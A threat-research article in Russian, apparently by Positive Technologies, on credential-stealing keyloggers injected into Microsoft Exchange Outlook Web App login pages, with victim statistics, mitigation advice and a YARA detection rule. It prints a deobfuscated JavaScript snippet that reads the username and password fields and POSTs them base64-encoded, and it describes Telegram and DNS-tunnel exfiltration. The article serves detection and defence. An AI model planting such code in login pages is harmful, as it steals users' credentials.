Exchange Mutations. Вредоносный код в страницах Outlook

• В мае 2024 года мы писали про атаку с внедрением вредоносного кода в главную страницу Microsoft Exchange Server.
• В ходе нового исследования удалось обнаружить различные варианты кейлоггеров, которые можно разделить на два типа по реализации.
• В текущем году мы обнаружили серию похожих атак с жертвами в 26 странах по всему миру.

В мае 2024 года специалисты команды Incident Response экспертного центра безопасности Positive Technologies (PT Expert Security Center) обнаружили атаку с использованием неизвестного кейлоггера, внедренного в главную страницу зараженного Exchange Server. В текущем году специалисты команды киберразведки при участии команды анализа уязвимостей экспертного центра фиксировали те же атаки без модификации исходного кода кейлоггера. Дальнейшее изучение Javascript-кода главной страницы Outlook Web App и ее сравнение с исходным кодом скомпрометированных страниц позволило выявить ряд аномалий, не свойственных стандартной реализации Exchange Server. Благодаря этому удалось обнаружить другие образцы вредоносного кода. Все полученные кейлоггеры можно разделить на две группы:

• Записывают собранные данные в локальный файл, к которому есть доступ извне.
• Сразу отправляют собранные данные на внешний сервер.

Принцип работы:

• Жертва заходит на страницу аутентификации Exchange Server, вводит свои учетные данные.
• Вредоносный Javascript-код считывает и преобразует данные из формы аутентификации и XHR-запросом отправляет их на определенную страницу скомпрометированного Exchange-сервера (рис. 2).
• В исходном коде страницы, куда отправляются данные, есть функция-обработчик, которая считывает полученный запрос и записывает данные в файл на сервере (рис. 3).
• Файл со скомпрометированными данными доступен из внешней сети, путь к нему знают только злоумышленники.

Как правило, вредоносный код встраивается в легитимную функцию аутентификации clkLgn (рис. 1), однако бывают случаи, когда вредоносный код содержится в отдельной функции, которая вызывает clkLgn после отправки скомпрометированных данных.

Варианты стилеров с локальным логированием могут различаться:

• HTTP-методом, который используется для отправки собранных данных. Например, в параметрах GET-запроса (рис. 4) или в теле POST-запроса.

• Ссылкой, по которой отправляется XHR-запрос с данными жертвы. Внутренняя страница может быть легитимной с вредоносной вставкой либо отдельно созданной вредоносной страницей. Примеры:
  • /owa/auth/lo.aspx
  • /owa/auth/getidtokens.aspx
  • /owa/auth/error.aspx
  • /owa/auth/logon.aspx
• Наличием обфускации вредоносного кода (рис. 5.1–5.2). Пример деобфусцированного кода см. на рис. 5.2.

var aes = new Date().toLocaleDateString() + "\t" + 
document.getElementById("username").value + "\t" + 
document.getElementById("password").value;
fetch('', {
'method': 'POST',
'body': new URLSearchParams({
  'Aes': btoa(aes)
})
});

• Набором отправляемых данных. Некоторые из вариантов вредоносного кода дополнительно собирали cookies пользователя, заголовок User-Agent и другие данные (рис. 6).

Использование описанного варианта вредоноса позволяет атакующим получить следующие преимущества:

• Запись в локальный файл и последующий доступ извне выглядят менее подозрительно для средств детектирования, чем соединение наружу с отправкой данных.
• Управляющий сервер и какие-либо команды для взаимодействия с ним не присутствуют в коде.
• Обращаться к файлам стилера извне можно с любых адресов, то есть нет необходимости использовать фиксированный С2 или писать протокол его обновления.

Стилеры этого типа могут различаться следующими параметрами:

• Метод эксфильтрации данных. Для этого может использоваться выделенный сервер, Telegram-бот (рис. 7–8) или другие легитимные сервисы (например, Discord). Кроме того, как видно на рис. 8, злоумышленники используют идентификатор <COMPANY-ID> (отредактировано с целью сохранения приватности) для определения, к какой организации относятся полученные учетные записи.

• Наличие преобразования пользовательских данных различными способами.
• Способ отправки данных:
  • В JSON-объекте в теле POST-запроса (рис. 9).
  • В HTTP-заголовках (рис. 10). На рисунке заголовок Salt отредактирован в целях сохранения приватности, однако в нем хранится название домена ActiveDirectory, на котором пользователь проходит аутентификацию. Заголовки APIKey и AuthToken хранят закодированные логин и пароль соответственно.
  • С использованием DNS-туннелирования. На рис. 11 функция prepare зашифровывает пользовательские данные алгоритмом XOR с ключом exchange_default_password, преобразует в hex и добавляет в качестве поддомена.

Некоторые злоумышленники использовали открытые директории для хранения текстовых файлов, куда отправлялись данные жертв.

В ходе исследования было выявлено около 65 жертв в 26 странах. Больше всего скомпрометированных серверов наблюдается среди государственных организаций (22 сервера), а также среди компаний в сфере ИТ, промышленности и логистики. Более точную статистику по странам можно посмотреть на графике ниже.

Ниже приводится список уязвимостей, которым были подвержены многие скомпрометированные серверы.

Таким образом, эксплуатация этих уязвимостей могла быть одним из векторов атаки. При этом не все скомпрометированные серверы были подвержены каким-либо публично известным уязвимостям, что позволяет предположить, что они могли быть взломаны в результате реализации других векторов атаки.

Большое количество серверов Microsoft Exchange, доступных из интернета, до сих пор подвержены старым уязвимостям. Как показало исследование, одним из результатов эксплуатации этих уязвимостей является внедрение кейлоггеров в страницы аутентификации.

Внедрение вредоносного кода в легитимные страницы аутентификации позволяет злоумышленникам долгое время оставаться незамеченными и получать учетные данные пользователей в открытом виде.

Если вы обнаружили вредоносный код у себя в инфраструктуре или у вас есть подозрения, что ваши системы могли быть скомпрометированы, специалисты PT Expert Security Center могут помочь вам провести расследование и ретроспективный анализ.

Для борьбы с подобными угрозами рекомендуется:

• Выстроить процесс управления уязвимостями хотя бы на критически значимых серверах, доступных из внешней сети. Своевременно обновлять сервисы до последних версий и отслеживать актуальные уязвимости в используемых решениях. Для задач такого рода можно применять системы управления уязвимостями, например MaxPatrol VM, а также сканеры уязвимостей, например XSpider.
• Использовать современные системы защиты веб-приложений и обнаружения вредоносной сетевой активности. Например, PT NAD — для отслеживания подозрительных действий в сетевом трафике, и PT AF — для защиты от эксплуатации имеющихся уязвимостей без внесения изменений в само приложение.
• Организовать мониторинг информационной безопасности на критически значимых серверах с использованием SIEM- и EDR-решений, например, MaxPatrol SIEM и MaxPatrol EDR.

Если у вас есть гипотеза, что ваш MS Exchange Server мог быть скомпрометирован подобным образом с обходом средств защиты и мониторинга событий ИБ, то для обнаружения подобных атак можно принять следующие меры:

• Провести контроль целостности и анализ файлов, связанных с аутентификацией пользователей, например C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logon.aspx.
• Просканировать папку MS Exchange Server YARA-правилами на веб-шеллы и подозрительные страницы и вручную проанализировать обнаруженные файлы на предмет вредоносного кода. Подборки таких правил можно найти в публичном доступе.
• Заказать услугу по ретроспективному анализу желаемых систем или, как ее еще называют, услугу по оценке компрометации (compromise assessment).

А вот YARA-правило, которое позволит обнаружить варианты вредоносных страниц, описанных в статье.
 

rule PTESC_exploit_win_ZZ_Exchange__Keylogger__Javascript {
    strings:
        $anomaly_func_1 = "XMLHttpRequest"
        $anomaly_func_2 = "eval"
        $anomaly_func_3 = "fetch"
        $anomaly_func_4 = "fromCharCode"
        $anomaly_func_5 = "$.ajax"
        $anomaly_func_6 = "atob"

        $credential_string_1 = "user"
        $credential_string_2 = "pass"

        $exclude_strings_1 = "jquery.org/license"
        $exclude_strings_2 = "captcha"
        $exclude_strings_3 = "newrelic"
    condition:
        any of ($anomaly_func_*) and all of ($credential_string_*) and not all of ($exclude_strings_*)
}